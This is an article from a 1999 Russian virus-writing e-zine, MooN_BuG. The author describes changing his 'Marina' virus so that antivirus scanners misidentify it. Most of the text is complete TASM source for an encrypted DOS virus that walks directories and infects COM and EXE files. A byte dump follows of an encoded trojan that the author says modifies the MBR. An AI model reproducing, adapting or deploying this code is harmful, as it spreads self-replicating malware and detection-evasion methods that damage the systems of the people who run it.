[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999 file 008
Не трогайте Марину, господа!
by CrkV
Опубликовав, в прошлом номере Марину, я удостоился чести попасть в
вирлисты AVP и DrWEB'а ;-). Естественно я сразу определил, маску по которой
они детектируют данный вирус. Определив, что возможно изменение тушки зверя,
которое не будет видно антивирям, я быстро набросал новую версию Маринки.
Достаточно вставить текст любой COM-программы за телом вируса (include
joke.txt) и... антивирус будет "лечить", только вот диагноз поставит
неправильно. Так что если больной умрет, вина доктора на лицо.
Позже я написал "безобидного троянца" (шутку ;-))), сразу оговорюсь, если
вы рискнете посмотреть (у меня все работало), что автор основной картинки не я
(см. вирус TheDraw.6530). Так как тело закодировано, то я представил его текст
в кодах. Данный троянец модифицирует MBR (может к следующему номеру напишу и
свой BOOT вирус), чтобы порадовать "докторов" при загрузке, после этого он
восстанавливает оригинальный сектор и никак себя не проявляет.
=== Cut === Marina.Asm
;вирус MARINA 1.11 (c) CrkV ... посвящается неутомимым вирусологам ;-)))
;use tasm marina /m2
;запускать marina.exe !!!
.286
;================================================
; 0123456789 123456789 123456789 123456789 123456789 123456789
;================================================
CSeg Segment Para 'code'
Assume Cs:CSeg,Ds:CSeg,Ss:CSeg,Es:CSeg
Org 0h ;EXE (исходник вируса)
VM:
Push Ds
Push 0
PushF
PushA
Mov Bp,Sp
Push 0
Pop Es
Push Cs
Pop Ds
Mov Sav_Sp,Bp
Mov Es:[01h*4][2],Cs ;устанавливаем Seg Int 1
Mov Es:[03h*4],Offset New03h;устанавливаем Int 3
Mov Es:[03h*4][2],Cs
Jmp @RealStart3part
Org 0D4h ;располагаем данные в DTA
Sav_SP dw ?
Sav_SP2 dw ?
Org 0F8h ;располагаем данные в DTA
Prov_Ip dw ? ;адрес входа в DOS
Prov_Cs dw ?
@AdrExit:
VOffs dw ?
VSegm dw ? ;сегмент активного окна видеопамяти
Org 100h
KolDIR EQU 8 ;количество сканируемых вложенных поддиректорий
SizeVIR EQU (Offset @EndVM - Offset @Start1part) ;размер вируса
SV EQU @EndVM - 100h ;размер вируса
MaxSize EQU 0FC00h - SizeVir ;максимальный размер COM файла (PSP+стек)
Time1 EQU 5 ;частота сердцебиения (1/18 сек.)
;----------------------------------------------
@Start1part:
PushF
PushA
Push Offset @RealStart2part
@AdrR: db 0BEh ;Mov Si,RandZn
RandZn dw ?
Mov Cx,(Offset @Start3part - @Start2part)/2
@Loop1R:db 31h,0B4h ;Xor [Si+RZ],Si
RZ dw ? ;RZ=Offset @Start2part-RandZn
Inc Si
Inc Si
Loop @Loop1R
Ret
;---------------------------------------------
@Start2part:
;---------------------------------------------
MyRand Proc
; Cx-нижняя граница,Bx-верхняя граница
; Ax-случайное число
Push Bx Cx Dx
db 0B8h ;Mov Ax,RandPar
RandPar dw ?
Add Ax,9248h
Ror Ax,3
Xor Ax,9248h
Add Ax,11h
Mov Cs:RandPar,Ax
And Ax,7FFFh
Sub Bx,Cx
Inc Bx
Sub Dx,Dx
IDiv Bx
Add Cx,Dx
Pop Dx Ax Bx
Xchg Cx,Ax
Ret
MyRand EndP
;---------------------------------------------
@RealStart2part:
Mov Bp,Sp
Sub Si,Si
Push Si Ds Si Si
Pop Ds
Mov Di,0C0h
Mov Cx,8
Cli
Repe MovSW ;Сохраняем 4 обработчика
Mov Si,24h*4
MovSW ;Int 24h
MovSW
Pop Es Ds Ss ;Ss:Sp - 0:0010h (Удачи !!!)
Mov Ax,Cs
Mov Sp,(24h+1)*4
Push Ax
Push Offset New24h ;Устанавливаем Int 24h
Sub Sp,24h*4 - 10h
Push Ax
Push Offset New03h ;Устанавливаем Int 3
Sub Sp,4
Push Ax
Push Offset Int_01 ;Устанавливаем Int 1
Mov Sp,Bp
Mov Ss,Ax
Push 300h
PopF ;TF=1
Mov Sav_Sp,Bp
;---------------------------------------------
Int_01:
Push Offset @RealStart3part
@Shifr:
Mov Dx,(Offset @EndVMold - Offset @Start3part)/2
Mov Di,Offset @Start3part
Mov Bx,07FFFh ;Cx=0 (Repe)
@LoopRs:Call MyRand
Xor [Di],Ax
Inc Di
Inc Di
Dec Dx
Jnz @LoopRs ;расшифровываем
Ret
;---------------------------------------------
@Start3part:
;----- обработчик прерывания 01h -----
New01h:
PushA
Mov Bp,Sp
Push Ds Es Cs
Pop Ds
Mov Ax,[Bp+18] ;Cs адрес следующей команды
Cmp Ax,Prov_Cs ;ищем наименьший сегмент
Jae @Exit_01h ;выше равно
Push Ss
Pop Es
Mov Cx,[Bp+6] ;устанавливаем равные Sp
Mov Ds:[0E6h],Cx
Mov Si,0E0h
Mov Di,Bp
Mov Cx,8 ;8 регистров
RepZ CmpSW
Or Cx,Cx
Jnz @Exit_01h ;регистры не совпадают
Mov Prov_Cs,Ax
Mov Ax,[Bp+16] ;Ip следующей команды
Mov Prov_Ip,Ax
@Exit_01h:
Pop Es Ds
PopA
IRet
;----- обработчик прерывания 03h -----
New03h:
Xor Ax,5AA5h
Jmp DWord Ptr Cs:Prov_Ip
;----- обработчик прерывания 24h -----
New24h:
Mov Al,3
IRet
;---------------------------------------------
@RealStart3part:
Mov Es:[01h*4],Offset New01h;устанавливаем Int 1
Mov Prov_Cs,Cs
Mov Ah,19h ;получить текущий диск
Mov Sp,0F0h
PushA ;Сохраняем все регистры для проверки
Mov Sp,Bp
PushF
Push 300h
PopF
Call DWord Ptr Es:[21h*4] ;Int 21h получить текущий диск
Add Al,'A'
Mov FileMsk,Al
Mov Ax,SizePrg
Mov OldSize,Ax
Mov Ah,2Ah Xor 5Ah
Int 03h
Cmp Dx,0C14h
Je @20_12
Call Rand08h
Test Al,0000111b
Jnz @NotC
Mov FileMsk,'C'
@NotC: Mov RandPar,Ax
Mov RandZn,Ax
Neg Ax
Add Ax,Offset @Start2part
Mov RZ,Ax
Mov Bp,KolDir
Mov Si,Offset StrSize
Mov Ax,Cs
Add Ax,1000h
Mov Es,Ax
Mov Di,80h
Mov Cx,9
Repe MovSB
Mov Ds,Ax
Sub Bx,Bx
Call ScTree
@20_12: Push Cs
Pop Es
Mov Ax,1100h
Mov Bx,1000h
Mov Cx,2
Mov Dx,3
Mov Bp,Offset S1
Int 10h
Sub Ax,Ax
Mov Es,Ax
Mov Al,Es:[044Ah]
Shl Ax,1
Push Ax
Mov Bp,0B800h
Cmp Byte Ptr Es:[0449h],7
Jne Short @IM01
Mov Bp,0B000h
@IM01: Mov Ah,0Fh
Int 10h
Mov Ah,0
Mov Al,Bh
Shl Ax,8
Add Bp,Ax
Mov Ah,03h
Int 10h
Mov Ah,01h
Or Ch,00110000b
Int 10h
Pop Ax
Mul Dh
Shr Ax,4
Add Ax,Bp
Mov VSegm,Ax
Shl Dl,1
Sub Dh,Dh
Mov VOffs,Dx
Mov Ax,351Ch Xor 5AA5h
Int 03h
Push Es Bx
Mov Ax,251Ch Xor 5AA5h
Mov Dx,Offset New1Ch
Int 03h
Sub Ax,Ax
Int 16h
LEs Di,DWord Ptr VOffs
Mov Ax,0720h
Mov Cx,28
Repe StoSW
Pop Dx Ds
Mov Ax,251Ch Xor 5AA5h
Int 03h
Jmp @Ex
;----- обработчик прерывания 1Ch -----
New1Ch:
PushA
Push Ds Es Cs
Pop Ds
db 0B9h ;Mov Cx,SizeSV
SizeSV dw 26 ;
Mov Dx,Word Ptr Ct2
Dec Dx
Jnz @Not0
Mov Dx,Cx
Dec Dx
Mov Ax,VAttr
Xchg Al,Ah
Mov VAttr,Ax
@Not0: LEs Di,DWord Ptr VOffs
Mov Si,Offset StrVyv1
db 0B8h ;Mov Ax,VSim
VSim dw 0403h ;
Mov Ah,04h
Push Ax
StoSW
Sub Cl,Dl
db 0B8h ;Mov Ax,VAttr
VAttr dw 0F0Eh ;
@LI1: MovSB
StoSB
Loop @LI1
Mov Cl,Dl
Xchg Al,Ah
@LI2: MovSB
StoSB
Loop @LI2
Pop Ax
StoSW
Mov Ct2,Dl
Dec Ct1
Jnz @Ex1Ch
Mov Ct1,Time1
Mov Ax,VSim
Xchg Al,Ah
Mov VSim,Ax
@Ex1Ch: Pop Es Ds
PopA
IRet
;---------------------------------------------
Rand08h Proc
Push Ds
Push 0
Pop Ds
Mov Ax,Ds:[46Ch]
Pop Ds
Ret
Rand08h EndP
;---------------------------------------------
InfectC Proc
Push Bx Ds Ds Ds Cs
Pop Ds Es
Call Rand08h
Mov RandPar,Ax
Mov Si,100h
Sub Di,Di
Mov Cx,SizeVir
Repe MovSB ;копируем вирус
Pop Ax
Sub Ax,10h
Mov Ds,Ax
Call @Shifr ;зашифровываем 3 часть
Call @AdrR ;зашифровываем 2 часть
Mov Ax,5700h Xor 5AA5h
Pop Ds Bx
Int 03h
Push Cx Dx
Mov Ax,4200h Xor 5AA5h
Sub Cx,Cx
Sub Dx,Dx
Int 03h
Mov Ah,40h Xor 5Ah
Mov Cx,SizeVir
db 081h,0C1h ;Add Cx,SizePrg
SizePrg dw 1
Int 03h
Mov Ax,5701h Xor 5AA5h
Pop Dx Cx
Int 03h
Mov Ah,3Eh Xor 5Ah
Int 03h
InfectC EndP
;---------------------------------------------
@ExitVir:
Push Cs
Pop Ds
Mov Ah,1Ah Xor 5Ah
Mov Dx,80h
Int 03h ;Восстанавливаем DTA
Mov Si,0C0h
Sub Di,Di
Push Di
Pop Es
Mov Cx,8
Repe MovSW ;Восстанавливаем 4 обработчика
Mov Di,24h*4
MovSW ;Int 24h
MovSW
Push Cs
Pop Es
Mov Ax,Word Ptr Ds:[SV+100h]
Call ProvMZ
Je @ExitExe
db 0B9h ;Mov Cx,OldSize
OldSize dw ? ;старый размер программы
Mov Di,0FCh
Mov Ax,0A4F3h ;Repe MovSB
StoSW
Mov Ax,9D61h ;PopA PopF
StoSW
Mov Si,SizeVir+100h
Mov Sp,Sav_Sp
Jmp @AdrExit
SizePr EQU Offset @EndPr - Offset @AdrPr
@ExitExe:
Mov Bp,Offset @EndVM
Mov Dx,Bp
Shr Dx,4
Mov Ax,Cs
Add Dx,Ax
Add Dx,[Bp+8] ;Dx сегмент кода EXE
Add Ax,10h ;Ax сегмент кода COM
Mov Bx,Bp
Add Bx,[Bp+18h] ;адрес Rel. Table
Mov Cx,[Bp+6] ;количество Relocation
JCxZ @NoRel
@LoopRl:Add [Bx+2],Dx ;настраиваем перемещаемые элементы
LEs Di,[Bx]
Add Es:[Di],Ax
Add Bx,4
Loop @LoopRl
@NoRel: Push Cs
Pop Es
Mov Di,100h - SizePr
Mov Si,Offset @AdrPr
Mov Cx,SizePr
Repe MovSB ;пересылаем подпрограмму перехода на EXE
Mov Sp,Sav_Sp
Mov Es,Ax
Mov Ds,Dx
PopA
Mov Bp,Offset @EndVM
Push Ax Cx Cs Cs
Push [Bp+10h] ;Sp
Push [Bp+14h] ;Ip
Mov Cx,[Bp+4] ;количество кусков по 512 байт
Mov Bx,[Bp+8]
Shr Bx,5
Sub Cx,Bx ;размер (EXE - Reloc Table) в 512 кусках
Shl Cx,5 ;размер программы в параграфах
Mov Ax,Cx
Add Ax,[Bp+0Ch]
Jnc @Not_CF
Mov Ax,0FFFFh
@Not_CF:
;Shl Cx,3 ;размер программы в словах
Mov Cx,[Bp+OldSize-@EndVM] ;для надежности берем размер файла
Mov Bx,Es
Add Bx,[Bp+16h] ;Cs
Mov Dx,Es
Add Dx,[Bp+0Eh] ;Ss
Sub Si,Si
Sub Di,Di
db 0E9h ;Jmp
dw -(($+2)-100h+SizePr)
@AdrPr:
Repe MovSB
Pop Si Di Ds Es Cx
Push Bx
Mov Bh,4Ah
Xchg Ax,Bx ;Bx-требуемый размер в параграфах
Int 21h
Pop Bx Ax
PopF
Cli
Mov Ss,Dx
Mov Sp,Di
Sti
Mov Dx,Ds
Push Bx Si
Mov Bx,Ax
RetF
@EndPr:
;---------------------------------------------
ProvMZ Proc
Cmp Ax,'MZ'
Je @ExitMZ
Cmp Ax,'ZM'
@ExitMZ:Ret
ProvMZ EndP
;---------------------------------------------
ProvFrm Proc
;Проверка внутреннего формата файла
Push Ds
Mov Ax,3D02h Xor 5AA5h
Int 03h
Jc @ErrPF1
Xchg Bx,Ax
Mov Ax,Ds
Add Dx,80h
Shr Dx,4
Add Ax,Dx ;получили свободный сегмент
Mov Ds,Ax
Mov Ah,3Fh Xor 5Ah ;Прочитали первые 26 байт
Mov Cx,1Ah
Mov Dx,SizeVir
Int 03h
Jc @ErrPF
Sub Ax,Cx
Jnz @ErrPF ;маленький файл
Mov Ax,Word Ptr Ds:[SV]
Call ProvMZ
Jne @ZagCom
Mov Al,Byte Ptr Ds:[SV+18h]
Cmp Al,52h
Je @ZagCom ;Pklite
Cmp Al,40h
Jge @ErrPF ;кажись Виндовый файл
@ZagCom:Mov Ax,4202h Xor 5AA5h
Sub Cx,Cx
Sub Dx,Dx
Int 03h
Or Dx,Dx
Jnz @ErrPF ;большой файл
Cmp Ax,MaxSize
Ja @ErrPF ;большой файл
Mov Cs:SizePrg,Ax
Cmp Word Ptr Ds:[SV],609Ch ;PushF,PushA
Je @AllInf ;возможно заражен
Push Ax ;Cx,Dx=0
Mov Ax,4200h Xor 5AA5h
Int 03h
Pop Cx
Mov Ah,3Fh Xor 5Ah
Mov Dx,SizeVir
Int 03h ;Читаем весь файл
Jc @ErrPF ;Ошибка
Sub Ax,Cx
Jnz @ErrPF ;файл почему-то меньше
Call InfectC
@AllInf:
@ErrPF: Mov Ah,3Eh Xor 5Ah ;закрываем файл
Int 03h
@ErrPF1:Pop Ds
Ret
ProvFrm EndP
;---------------------------------------------
ProvExe Proc
;проверка на EXEC файл
PushA
Push Es Cs
Pop Es
Mov Cl,KolFN
Mov Di,Offset FN1
@LoopF: Push Cx
Cmp Es:[Di],Al ;сравниваем размер
Jne @FileN
Mov Cl,Al
Push Di Si
Inc Di
Repe CmpSB ;сравниваем имена
Pop Si Di
@FileN: Pop Cx
Je @NoExec
Mov Bl,Es:[Di]
Inc Bx
Sub Bh,Bh
Add Di,Bx
Loop @LoopF
Mov Cl,2
Xchg Bx,Ax
Lea Si,[Si+Bx-5]
Mov Di,Offset FileCom
Push Si
Repe CmpSW ;'.COM'
Pop Si
Je @YExec
Mov Cl,2
Mov Di,Offset FileExe
Repe CmpSW ;'.EXE'
Jne @NoExec
@YExec: Call ProvFrm
@NoExec:Pop Es
PopA
Ret
ProvExe EndP
;---------------------------------------------
ScTree Proc
;Bx - адрес DTA
Dec Bp
Jnz @Ok
Or Bx,Bx
Jnz Short @Ex
Mov Bp,KolDir
Sub Si,Si
@Ok: Mov Ah,1Ah Xor 5Ah
Mov Dx,Bx
Int 03h
Or Bx,Bx
Jnz @NRoot1 ;Не корневой каталог
Mov Byte Ptr Ds:[84h],'?'
Mov Ah,4Eh Xor 5Ah
Mov Dx,81h
Mov Cl,10h
Int 03h
Jnc @OkRoot
@Ex: Jmp @ExitVir
@OkRoot:Mov Bx,'Z'
Mov Cx,'A'
Call MyRand
Or Si,Si
Jnz @NAny
Mov Al,'?'
@NAny: Mov Ds:[84h],Al
Sub Bx,Bx
@NRoot1:Lea Si,[Bx+80h] ;Ds:Si - полное имя (Pascal String+00h)
Push Si
Lea Di,[Si+100h]
Mov Cl,[Si]
Inc Cx ;размер строки
Repe MovSB
Mov Ah,4Eh Xor 5Ah
Pop Dx
Inc Dx
Mov Cl,10h
Int 03h ;ищем первый файл
Jnc @OkFile
Or Bx,Bx
Jz Sctree
Jmp Short @NRoot2
@OkFile:Lea Si,[Bx+1Eh] ;найденное имя
@NwFind:Cmp Byte Ptr [Si],2Eh ;директории '.' и '..'
Je @NtFind
Push Di
Push Si
Sub Ax,Ax
@GetNm: MovSB
Inc Ax
Cmp Byte Ptr [Si-1],00h
Jne @GetNm
Pop Si
Pop Di
Push Ax
Mov Ax,4300h Xor 5AA5h
Lea Dx,[Bx+181h]
Int 03h
Pop Ax
Test Cl,10h
Jne @DIR
Call ProvExe
@NtFind:Mov Ah,4Fh Xor 5Ah
Mov Cl,10h
Int 03h
Jnc @NwFind
@NoFile:Or Bx,Bx
Jz @Ex ;поиск закончен
@NRoot2:Mov Ax,100h
Sub Bx,Ax
Sub Si,Ax
Mov Ah,1Ah Xor 5Ah
Mov Dx,Bx
Int 03h
Mov Al,[Bx+80h]
Lea Di,[Bx+180h]
StoSB
Sub Ah,Ah
Add Di,Ax
Ret
@DIR: Mov Di,Dx
Dec Di
Add [Di],Al
Mov Al,[Di]
Add Di,Ax
Mov Ax,2A5Ch ;'\*.*',00h
StoSW
Mov Al,'.'
StoSW
Mov Al,00h
StoSB
Add Bx,100h
Call ScTree
Jmp Short @NtFind
ScTree EndP
;---------------------------------------------
StrSize db 3
FileMsk db '?:\?'
AnyName db '*.*',00h
KolFN EQU 3 ;количество незаражаемых файлов
FN1 db 0Ch,'COMMAND.COM',00h
FN2 db 08h,'WIN'
FileCom db '.COM',00h
FN3 db 0Ah,'NAVDX'
FileExe db '.EXE',00h
Flag08h db 0AAh
Ct1 db Time1
Ct2 db 26
s1 db 000h,000h,000h,000h,028h,07Ch,07Ch,07Ch
db 038h,010h,000h,000h,000h,000h,000h,000h
s2 db 000h,000h,000h,000h,06Ch,0FEh,0FEh,0FEh
db 0FEh,07Ch,038h,010h,000h,000h,000h,000h
StrVyv1 db ' Happy birthday to '
VirName db 'Marina 1.11 '
Align 16
;---------------------------------------------
@EndVMold:
include joke.txt
Align 16
@EndVM:
RetF
CSeg EndS
End VM
=== Cut ===
=== Cut === Joke.Txt
db 187,012,001,185,020,010,049,031,067,067
db 226,250,184,018,195,046,168,103,055,204
db 053,181,005,204,055,042,218,233,089,001
db 166,000,034,184,035,001,159,001,214,233
db 017,001,161,242,106,172,174,253,102,117
db 029,138,207,185,055,002,129,003,058,233
db 025,001,135,111,064,191,192,000,183,165
db 254,000,075,184,075,001,164,021,078,185
db 085,002,235,002,084,186,166,000,176,009
db 090,181,085,187,055,000,173,032,161,187
db 228,001,171,103,171,072,077,109,000,033
db 012,100,080,099,019,098,031,047,088,047
db 088,076,027,115,021,111,031,012,138,037
db 105,031,210,076,199,083,193,079,203,048
db 189,001,140,000,145,001,144,225,148,097
db 159,248,159,001,149,001,158,001,158,001
db 160,001,026,001,132,186,166,000,038,217
db 036,209,034,193,133,229,224,082,226,042
db 116,233,148,001,000,004,184,184,191,001
db 086,024,192,044,226,001,074,193,126,000
db 202,184,200,001,036,010,206,185,209,002
db 107,000,212,233,212,001,223,202,138,089
db 140,188,221,001,090,129,226,204,247,114
db 225,042,040,204,249,076,153,236,182,194
db 072,002,242,204,228,185,246,016,067,001
db 234,184,254,001,068,002,000,191,193,003
db 201,018,045,194,134,194,044,162,070,006
db 223,226,173,002,170,036,148,060,095,006
db 031,119,025,191,028,178,170,013,237,018
db 150,002,174,197,231,226,032,001,239,161
db 146,003,233,004,140,003,024,002,128,001
db 251,018,140,003,186,207,012,207,046,104
db 064,005,100,197,066,114,070,103,073,036
db 198,012,062,002,064,005,184,164,082,233
db 170,098,072,004,086,029,166,187,124,002
db 213,020,162,003,040,119,111,137,183,072
db 201,147,107,132,168,161,255,003,180,060
db 206,003,202,225,119,186,123,006,206,006
db 044,169,084,200,056,012,141,166,046,224
db 122,136,066,132,078,166,038,224,114,090
db 059,138,132,192,149,252,152,195,153,119
db 151,196,154,195,159,007,001,138,163,132
db 096,161,046,003,175,029,203,205,172,002
db 174,002,026,007,146,002,180,002,182,042
db 196,126,198,058,172,002,190,002,192,002
db 194,002,196,002,198,110,054,252,052,252
db 176,058,222,002,208,002,210,034,130,107
db 164,119,171,034,151,099,174,107,176,099
db 192,107,145,034,138,103,144,103,154,034
db 157,107,128,110,206,102,153,103,210,002
db 122,005,244,002,248,163,068,003,249,008
db 254,140,192,136,060,004,006,189,155,001
db 178,217,009,176,005,136,000,007,018,255
db 033,195,184,063,013,118,029,131,238,131
db 247,105,034,019,083,004,162,231,212,009
db 198,232,119,063,050,119,063,112,049,047
db 032,001,242,001,244,001,246,001,248,131
db 222,140,054,227,213,075,203,061,069,001
db 197,196,230,003,193,061,077,001,167,057
db 197,234,233,002,082,063,077,118,094,175
db 210,203,234,035,017,232,084,063,122,118
db 101,175,041,137,174,175,037,066,234,061
db 111,001,110,119,099,137,138,239,164,219
db 004,248,148,033,185,118,135,137,185,168
db 098,242,105,001,119,168,013,206,107,001
db 104,139,079,005,158,221,158,021,035,177
db 155,019,182,005,068,035,150,021,044,179
db 046,025,163,178,184,007,022,019,121,012
db 177,005,166,220,115,220,180,011,107,223
db 168,007,111,021,004,177,009,012,170,035
db 178,021,012,019,029,221,031,021,117,179
db 192,019,021,035,196,221,218,177,124,177
db 223,019,203,001,218,021,100,012,200,035
db 212,221,202,177,108,005,240,221,236,021
db 085,177,246,222,200,021,088,177,252,222
db 225,026,243,027,252,021,070,177,249,019
db 216,005,036,223,240,021,078,179,176,030
db 001,181,030,000,180,223,024,216,214,018
db 190,020,213,018,162,182,002,216,200,011
db 015,000,020,219,197,030,023,223,008,182
db 048,217,044,218,050,182,041,020,008,010
db 060,182,060,217,056,181,129,180,061,020
db 020,036,056,018,227,182,136,011,044,029
db 060,010,158,217,098,018,246,182,073,020
db 104,010,092,180,253,182,065,020,112,010
db 068,182,230,020,139,011,065,007,066,010
db 074,182,078,217,064,002,189,223,104,018
db 214,180,216,181,219,181,118,000,220,223
db 194,020,173,217,171,218,173,223,163,018
db 161,020,167,223,165,216,092,029,129,219
db 158,001,093,216,087,223,081,036,130,223
db 083,036,134,182,130,217,130,182,039,181
db 151,020,186,036,146,223,136,223,018,020
db 127,036,162,218,134,010,117,036,188,181
db 030,182,161,020,144,010,164,181,006,020
db 107,218,174,182,008,011,172,029,189,028
db 206,018,112,020,025,036,192,223,196,018
db 122,180,124,181,127,181,202,000,096,223
db 196,216,009,029,219,219,005,030,213,223
db 002,036,063,030,229,223,057,010,056,223
db 200,002,055,010,050,018,092,020,046,018
db 064,181,251,020,214,036,246,218,236,223
db 039,020,035,036,022,181,004,021,217,037
db 038,219,006,019,187,183,190,010,030,037
db 030,019,163,183,004,219,000,183,170,010
db 010,028,031,029,016,019,146,010,050,037
db 034,219,253,009,062,181,154,180,157,180
db 052,001,130,222,233,021,232,218,022,010
db 230,217,026,006,226,217,030,002,190,006
db 158,037,072,218,153,218,082,006,145,019
db 254,021,146,037,143,218,142,031,087,222
db 118,011,131,037,086,019,236,003,078,216
db 110,219,116,183,116,216,112,183,218,021
db 183,037,178,019,220,021,171,216,082,019
db 197,181,121,021,097,007,116,019,204,180
db 204,021,093,037,148,183,148,216,144,183
db 058,010,154,028,143,029,128,019,033,010
db 130,037,146,218,074,009,142,181,042,180
db 045,180,132,006,018,222,121,222,180,222
db 125,037,167,218,189,183,188,222,114,006
db 111,218,109,037,187,217,161,183,009,002
db 170,217,156,009,097,222,027,222,212,183
db 118,222,214,222,019,222,220,222,126,021
db 019,011,011,037,222,019,101,180,208,021
db 005,037,212,222,202,183,206,219,246,183
db 080,010,244,037,198,011,254,183,088,021
db 049,037,248,183,065,010,226,028,246,003
db 040,011,238,180,075,183,243,021,222,011
db 022,180,018,221,218,219,009,031,011,030
db 004,016,189,022,211,038,048,000,201,010
db 002,182,167,183,002,002,168,221,199,022
db 004,005,251,218,254,038,043,217,249,221
db 243,221,061,180,157,001,062,217,016,038
db 062,218,232,028,048,221,046,221,136,022
db 227,008,226,038,076,221,084,180,066,022
db 153,038,104,008,148,221,145,016,149,180
db 064,219,114,216,066,180,228,009,072,038
db 084,216,074,180,078,219,121,004,116,182
db 213,183,105,022,072,008,180,016,222,022
db 179,219,127,031,113,030,122,016,196,183
db 119,022,090,038,122,216,114,016,048,182
db 051,028,135,180,093,221,152,028,130,221
db 150,003,082,028,149,221,077,221,079,221
db 073,217,184,008,100,038,144,218,069,221
db 125,016,016,000,180,218,134,038,166,221
db 188,180,188,218,113,016,002,009,162,038
db 148,008,160,180,010,009,170,038,156,008
db 168,180,114,009,210,031,198,000,024,008
db 222,182,123,000,220,219,192,216,198,180
db 096,009,196,031,210,030,214,216,204,180
db 109,009,206,038,192,000,057,010,242,182
db 087,183,090,180,088,221,055,221,254,221
db 043,218,232,023,047,028,243,218,238,221
db 234,028,255,221,032,016,178,182,178,008
db 020,039,038,009,211,017,184,023,209,039
db 209,039,048,017,160,023,201,039,054,017
db 170,023,199,030,030,017,174,183,038,023
db 255,039,042,017,151,181,039,023,051,003
db 052,007,245,009,239,017,128,181,059,023
db 022,001,230,011,044,183,141,182,140,181
db 242,220,153,023,159,219,157,017,250,023
db 149,029,095,220,088,220,139,220,066,029
db 087,220,139,017,234,181,232,182,236,001
db 078,219,064,009,189,220,184,030,101,017
db 218,023,182,039,178,017,220,008,096,030
db 112,001,170,009,096,183,126,023,167,039
db 114,017,207,181,144,218,141,030,135,031
db 136,017,058,008,154,039,172,009,081,017
db 034,023,078,039,146,216,154,017,041,182
db 040,181,046,023,069,216,127,219,121,218
db 120,216,188,023,115,017,113,220,119,023
db 180,002,107,017,168,004,006,182,007,183
db 190,023,102,219,156,009,097,216,224,249
db 226,216,210,181,214,219,023,220,022,039
db 236,017,126,008,192,039,212,217,218,017
db 102,182,200,218,213,030,223,031,208,217
db 061,030,225,216,196,249,255,004,228,219
db 054,220,055,219,053,216,228,181,226,029
db 229,220,224,220,232,029,255,220,034,017
db 228,003,178,185,179,185,180,184,000,024
db 211,212,005,017,008,006,209,030,162,186
db 160,024,207,212,054,040,030,215,020,030
db 172,184,017,024,057,012,058,008,255,006
db 249,212,049,010,044,214,032,030,158,185
db 129,186,128,186,239,024,044,013,227,212
db 046,186,044,018,051,211,159,211,157,212
db 094,014,157,030,082,014,248,185,253,185
db 254,014,064,213,075,010,228,040,231,040
db 086,215,133,030,238,186,078,211,187,212
db 190,040,068,212,185,007,072,040,114,006
db 220,040,078,215,105,010,126,030,196,185
db 199,185,202,186,161,211,108,018,107,211
db 092,000,124,004,091,215,156,012,083,215
db 084,030,150,015,060,185,033,007,130,017
db 150,014,038,040,042,186,186,006,138,184
db 152,024,125,017,160,006,190,012,121,007
db 177,011,178,006,140,184,161,017,181,004
db 164,184,005,185,004,186,010,211,170,018
db 171,211,098,211,028,212,025,212,024,212
db 208,211,019,018,205,186,202,024,019,017
db 210,185,096,030,244,007,198,040,214,030
db 106,185,211,024,254,014,062,040,236,030
db 085,184,198,007,248,040,236,246,227,017
db 234,016,254,213,253,017,243,014,041,004
db 238,185,075,186,078,211,238,018,024,210
db 020,210,223,025,221,031,211,025,215,031
db 022,013,213,019,021,187,163,006,004,016
db 020,015,169,187,012,041,018,185,175,184
db 146,006,050,041,042,031,006,006,056,041
db 036,031,158,184,158,041,063,025,018,015
db 134,006,047,010,032,007,044,184,051,025
db 030,005,089,014,074,041,066,214,074,031
db 249,187,248,210,092,019,084,210,070,187
db 072,012,143,019,082,187,233,006,074,016
db 094,015,238,187,118,041,108,185,213,187
db 212,025,181,041,124,185,124,215,120,187
db 194,184,194,006,100,041,086,007,110,185
db 117,025,101,011,102,007,150,187,051,006
db 148,041,166,005,145,010,133,016,136,005
db 081,031,034,187,130,019,133,210,073,214
db 184,015,070,213,152,041,146,019,164,214
db 164,213,120,013,134,005,119,031,113,210
db 030,187,028,184,191,025,171,010,178,187
db 160,041,182,185,011,184,014,025,101,041
db 198,215,204,031,117,025,024,031,019,187
db 120,184,195,025,238,007,198,185,099,006
db 196,016,212,017,216,210,212,214,202,187
db 209,025,192,005,251,014,236,016,228,005
db 055,031,088,025,246,004,053,214,208,041
db 244,185,212,214,068,187,035,210,033,041
db 076,185,037,187,223,014,034,042,008,028
db 221,184,186,187,005,026,021,009,008,184
db 006,042,028,186,165,187,164,184,170,005
db 010,042,018,028,175,026,253,028,144,184
db 255,184,041,026,008,042,036,028,157,184
db 156,005,032,042,018,018,058,186,022,042
db 231,042,053,019,054,002,030,006,159,213
db 088,006,159,214,102,042,078,187,248,042
db 144,214,146,016,083,213,142,214,136,244
db 090,212,078,209,232,184,083,026,071,009
db 102,184,116,042,106,186,214,187,218,209
db 216,026,177,212,120,184,096,212,100,184
db 198,184,121,026,097,009,116,213,092,213
db 113,042,152,019,145,006,091,016,138,209
db 084,042,170,012,061,184,060,209,075,186
db 073,209,038,213,182,006,068,028,065,184
db 046,005,142,019,163,012,016,028,132,004
db 022,186,025,026,176,009,115,042,113,042
db 166,184,000,184,187,026,150,006,161,013
db 162,012,156,005,167,024,200,042,226,006
db 027,016,203,209,020,012,021,042,019,213
db 017,006,012,214,014,028,206,009,013,184
db 215,026,195,000,208,019,221,013,192,004
db 244,184,086,184,233,026,200,006,243,013
db 227,042,246,006,233,030,250,019,246,006
db 041,213,226,006,033,028,230,003,037,184
db 015,027,027,008,008,018,012,012,040,005
db 028,185,190,027,209,043,028,018,027,019
db 027,018,089,019,001,068,002,043,095,121
db 117,093
=== Cut ===